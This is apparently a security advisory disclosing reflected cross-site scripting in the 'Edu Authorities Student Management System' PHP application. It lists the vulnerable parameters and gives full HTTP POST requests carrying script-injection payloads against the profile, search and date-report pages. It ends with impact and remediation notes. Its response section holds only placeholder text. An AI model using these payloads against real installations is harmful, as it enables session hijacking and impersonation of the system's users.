Affected Version: “Edu Authorities Student Management System”

Product Link: https://www.sourcecodester.com/php/16137/online-student-management-system-php-free-download.html

Security Issue:

Multiple Cross site scripting via POST Request.

URL: <http://localhost/eduauth/profile.php>
Parameter: adminname

URL: <http://localhost/eduauth/profile.php>
Parameter: email

URL: <http://localhost/eduauth/between-date-reprtsdetails.php>
Parameter: fromdate

URL: <http://localhost/eduauth/between-date-reprtsdetails.php>
Parameter: todate

URL: <http://localhost/eduauth/search.php>
Parameter: searchdata

URL: <http://localhost/eduauth/student/between-date-reprtsdetails.php>
Parameter: fromdate

URL: <http://localhost/eduauth/student/between-date-reprtsdetails.php>
Parameter: todate

URL: <http://localhost/eduauth/student/search.php>
Parameter: searchdata

Vulnerability Description:

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

HTTP Request:

POST /eduauth/student/search.php?pageno=<b>Warning</b>:%20Undefined%20variable%20%24total_pages%20in%20<b>C:/xampp/htdocs/eduauth/student/search.php</b>%20on%20line%20<b>137</b><br%20/> HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: <http://localhost/eduauth/>
Cookie: googtrans=/en/af; PHPSESSID=e14ccpaaovqsepd1a2n4ohmbcd
Content-Length: 74
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

search=&searchdata=01/01/1967'"()%26%25<zzz><ScRiPt%20>alert(9477)</ScRiPt>

POST /eduauth/student/between-date-reprtsdetails.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: <http://localhost/eduauth/>
Cookie: googtrans=/en/af; PHPSESSID=e14ccpaaovqsepd1a2n4ohmbcd
Content-Length: 90
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

fromdate=01/01/1967&submit=&todate=01/01/1967'"()%26%25<zzz><ScRiPt%20>alert(9534)</ScRiPt>

POST /eduauth/student/between-date-reprtsdetails.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: <http://localhost/eduauth/>
Cookie: googtrans=/en/af; PHPSESSID=e14ccpaaovqsepd1a2n4ohmbcd
Content-Length: 90
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

fromdate=01/01/1967'"()%26%25<zzz><ScRiPt%20>alert(9737)</ScRiPt>&submit=&todate=01/01/1967

POST /eduauth/profile.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: <http://localhost/eduauth/>
Cookie: googtrans=/en/af; PHPSESSID=k66j0r5hobp1p3qn8fdjf6b55s
Content-Length: 149
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

adminname=Mayuri%20K&email=mayuri.infospace%40gmail.com'"()%26%25<zzz><ScRiPt%20>alert(9966)</ScRiPt>&mobilenumber=9090909090&submit=&username=mayurik

POST /eduauth/profile.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: <http://localhost/eduauth/>
Cookie: googtrans=/en/af; PHPSESSID=k66j0r5hobp1p3qn8fdjf6b55s
Content-Length: 149
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

adminname=Mayuri%20K'"()%26%25<zzz><ScRiPt%20>alert(9973)</ScRiPt>&email=mayuri.infospace%40gmail.com&mobilenumber=9090909090&submit=&username=mayurik

HTTP Response:

Untitled

Untitled

Untitled

The impact of this vulnerability:

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

How to fix this vulnerability:

Apply context-dependent encoding and/or validation to user input rendered on a page